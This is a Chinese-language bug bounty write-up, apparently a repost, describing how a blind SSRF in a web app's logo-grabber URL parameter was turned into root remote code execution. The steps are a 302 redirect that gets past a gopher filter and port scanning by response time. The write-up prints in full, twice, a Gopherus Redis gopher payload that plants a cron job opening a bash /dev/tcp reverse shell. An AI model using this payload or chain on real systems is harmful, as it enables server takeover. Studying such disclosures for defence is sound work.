标签：Just SSRF 无回显 gopher 0A% 0D% com example 请求

前言:

发现此漏洞的bug bounty团队不允许公开披露，因此我不会直接命名所涉及的程序。

我能说的是，这是在Hackerone运行时间最长、规模最大的bug赏金活动中发现的。多个Hackerone的现场黑客活动已经包括这个活动。

毋庸置疑，这是一家拥有世界级安全团队的公司，多年来一直有大量专门针对它的黑客专家——这使得这个漏洞的存在更加令人惊讶。

第1部分:侦察

通常对于一个大范围的bug赏金程序，我会从子域枚举开始，以增加我的攻击面，但在这种情况下，我只针对我的目标上的一个web应用程序。

因为我只专注于一个web应用，所以我开始使用GAU工具获取url和路径列表。我还查看了各种javascript文件以寻找隐藏的路径，并使用ffuf工具进行了一些目录模糊爆破。我通过这些方法找到了一些有趣的路径，但没有发现任何可攻击的。

由于第一种侦查方法没有导致任何发现，我尝试了另一种方法-测试web应用程序的各种功能，同时运行Burp代理在后台。所有发出的请求都存储在Burp中的一个有组织的列表中，这样就可以很容易地查看所有请求，以寻找任何有趣的或可能存在漏洞的内容。

在测试web应用程序的功能后，我开始查看存储在代理日志中的请求，并遇到类似的请求:

GET /xxx/logoGrabber?url= [http://example.com][0]

Host: site.example.com

一个接受url参数的GET请求。这个请求的响应看起来是这样的，包含了关于url的标题和logo的信息:

{"responseTime":"99999ms","grabbedUrl":" [http://example.com][0] ","urlInfo":{"pageTitle":"Example Title","pageLogo":"pagelogourl"}}

这个请求立即引起了我的兴趣，因为它返回了一些关于URL的数据。当遇到从URL返回信息的请求时，测试SSRF是一个好主意。

第2部分:发现SSRF

我在SSRF的第一次尝试失败了。我能够得到外部与我的服务器的交互，但没有获得任何内部IP地址，因为他们有适当的保护。

在未能命中任何内部IP地址后，我决定看看能否命中该公司的任何公开的子域名。我为我的目标做了一些子域枚举，然后开始在请求时覆盖所有枚举域。

最后，我很幸运地发现了一些请求，这些请求返回了来自非公开访问站点的标题数据。

子域名somecorpsite.example.com就是一个很好的例子。当我试图在浏览器中访问http://somecorpsite.example.com时，请求超时了。但当我提交请求时:

GET /xxx/logoGrabber?url= [http://somecorpsite.example.com][1]

Host: site.example.com

回复包含了内部标题和logo信息:

{"responseTime":"9ms","grabbedUrl":" [http://somecorpsite.example.com][1] ","urlInfo": {"pageTitle":"INTERNAL PAGE TITLE","pageLogo":" [http://somecorpsite.example.com/logos/logo.png"}}][2]

现在我可以点击内部子域名访问标题和标志的url，我决定提交一个报告给我的目标无回显SSRF。内部标题信息没有包含任何过于敏感的内容，没有其他页面内容被返回，所以我认为这将被认为是一个相当低的影响无回显SSRF，但我没有想法来升级这个，并决定报告它。

一段时间后，报告被接受了，并进行了归档。

第3部分:RCE

自从我的原始报告被归档后，大约一个月过去了。我很高兴它被归档了，但我知道影响很低，我可能不会从中得到什么。

SSRF仍然是可攻击的，尚未修复，所以我决定做一些更多的研究，试图进一步升级它。在我的研究过程中，我了解到Gopher协议是升级ssrf的一种很好的方式，在某些情况下可以导致完整的远程代码执行。

为了测试gopher协议是否被支持，我提交了类似如下的请求:

GET /xxx/logoGrabber?url=gopher://myburpcollaboratorurl

Host: site.example.com

不幸的是，请求立即失败，并导致服务器错误。没有向我的Burp服务器提出任何请求，所以似乎gopher协议不被支持。

在继续我的测试时，我在网上看到重定向通常是绕过某些SSRF保护的好方法，所以我决定测试服务器是否遵循重定向。

为了测试重定向是否有效，我设置了一个Python http服务器，302将所有GET流量重定向到我的Burp服务器

python3 302redirect.py port “http://mycollaboratorurl/”

然后，我提交了如下请求，以查看重定向是否击中我的服务器:

GET /xxx/logoGrabber?url=http://my302redirectserver/

Host: site.example.com

提交请求后，我注意到重定向被跟踪，导致命中我的Burp服务器url。所以现在我已经验证了302个重定向被跟踪了…

现在重定向工作了，我决定用gopher协议来测试它。最初在请求中提交gopher有效负载直接导致服务器错误，所以我像下面这样设置重定向服务器来测试gopher是否可以通过重定向工作:

python3 302redirect.py port “gopher://mycollaboratorurl/”

然后再把请求提交

GET /xxx/logoGrabber?url=http://my302redirectserver/

Host: site.example.com

令我惊讶的是，它成功了——重定向被跟踪了，我收到了对我的服务器url的请求!有一些过滤器反对Gopher协议的url，但如果我重定向从我自己的服务器，它就能绕过这个防护，重定向被跟踪Gopher有效载荷被执行!

不仅gopher有效负载通过302重定向执行，而且我意识到使用gopher我现在还可以命中以前过滤过的内部IP地址，如127.0.0.1。

现在我有了Gopher有效负载，可以访问内部主机，我必须弄清楚可以与哪些服务进行交互，以便升级。在做了一些搜索之后，我发现了gopher工具，它可以生成gopher有效载荷来升级SSRF。它包含以下服务的有效载荷:

gopherus（[https://github.com/tarunkant/Gopherus）][0]

• MySQL (Port-3306)
• FastCGI (Port-9000)
• Memcached (Port-11211)
• Redis (Port-6379)
• Zabbix (Port-10050)
• SMTP (Port-25)

为了确定127.0.0.1上是否开放了上述任何端口，我使用了SSRF和端口扫描的响应时间。

通过302重定向我的web服务器到gopher://127.0.0.1:port，然后提交请求

GET /xxx/logoGrabber?url=http://my302redirectserver/

Host: site.example.com

我可以识别开放的端口，因为如果端口关闭，请求的响应时间会很长，如果端口打开，请求的响应时间会很短。使用这个端口扫描方法，我检查了以上所有6个端口。一个端口似乎是开放的-端口6379 (Redis)

302redirect → gopher://127.0.0.1:3306 [Response time: 3000ms]-CLOSED

302redirect → gopher://127.0.0.1:9000 [Response time: 2500ms]-CLOSED

302redirect → gopher://127.0.0.1:6379 [Response time: 500ms]-OPEN

现在情况开始好转了。我想要的都有了:

• Gopher协议被302重定向接收
• 能够用gopher有效载荷攻击本地主机
• 确定在本地主机上运行的一个可能存在漏洞的服务

使用Gopherus，我生成了一个Redis反向shell负载，最终看起来像这样:

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20i%20%3E%26%20/dev/tcp/x.x.x.x/1337%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2414%0D%0A/var/lib/redis%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

如果这个有效负载成功，它将对我的netcat侦听器产生一个反向shell。我把我的服务器重定向到gopher有效负载，就像这样:

python3 302redirect.py port "gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/x.x.x.x/1337%200%3E%261%22%0A

%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2414%0D%0A/var/lib/redis%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A"

一旦我的web服务器启动，我还在端口1337上启动了一个Netcat侦听器来捕获任何传入的反向shell。

最后，揭晓真相的时刻到了。我提交了请求:

GET /xxx/logoGrabber?url=http://my302redirectserver/

Host: site.example.com

什么都没有。什么也没有发生。我看到一个请求来到我的重定向服务器，但没有反向shell返回到我的netcat。这就是我想的结局，果然还是挖不到rce，selfxss才适合我。

我想也许

我的端口扫描是误报的，没有Redis服务器运行在本地主机上。

我接受了失败，开始关闭一切。我真的把鼠标放在运行netcat的终端的X按钮上，离点击关闭netcat只有几毫秒，突然

我真的不知道为什么会延迟这么久，但是在提交请求大约5分钟后，我收到了一个反向shell。我很高兴我让监听一直听着，否则我永远不会知道我有一个RCE。

我运行whoami来验证我有RCE(并且我是root!)，然后立即断开连接并使用新的信息更新我的原始报告。

本周六快手联合火线 举办线下「观火」白帽沙龙活动 ↓扫描二维码火速了解

【火线Zone】

火线Zone是[火线安全平台]运营的封闭式社区，社区成员必须在[火线安全平台]提交有效漏洞才能申请免费加入，符合要求的白帽子可联系[火小表妹]免费加入～

我们不希望出现劣币驱逐良币的结果，我们不希望一个技术社区变成一个水区！

欢迎具备分享精神的白帽子加入火线Zone，共建一个有技术氛围的优质社区！

标签：Just,SSRF,无回显,gopher,0A%,0D%,com,example,请求
来源： https://blog.csdn.net/weixin_40418457/article/details/117450667

本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享；
2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关；
3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关；
4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除；
5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。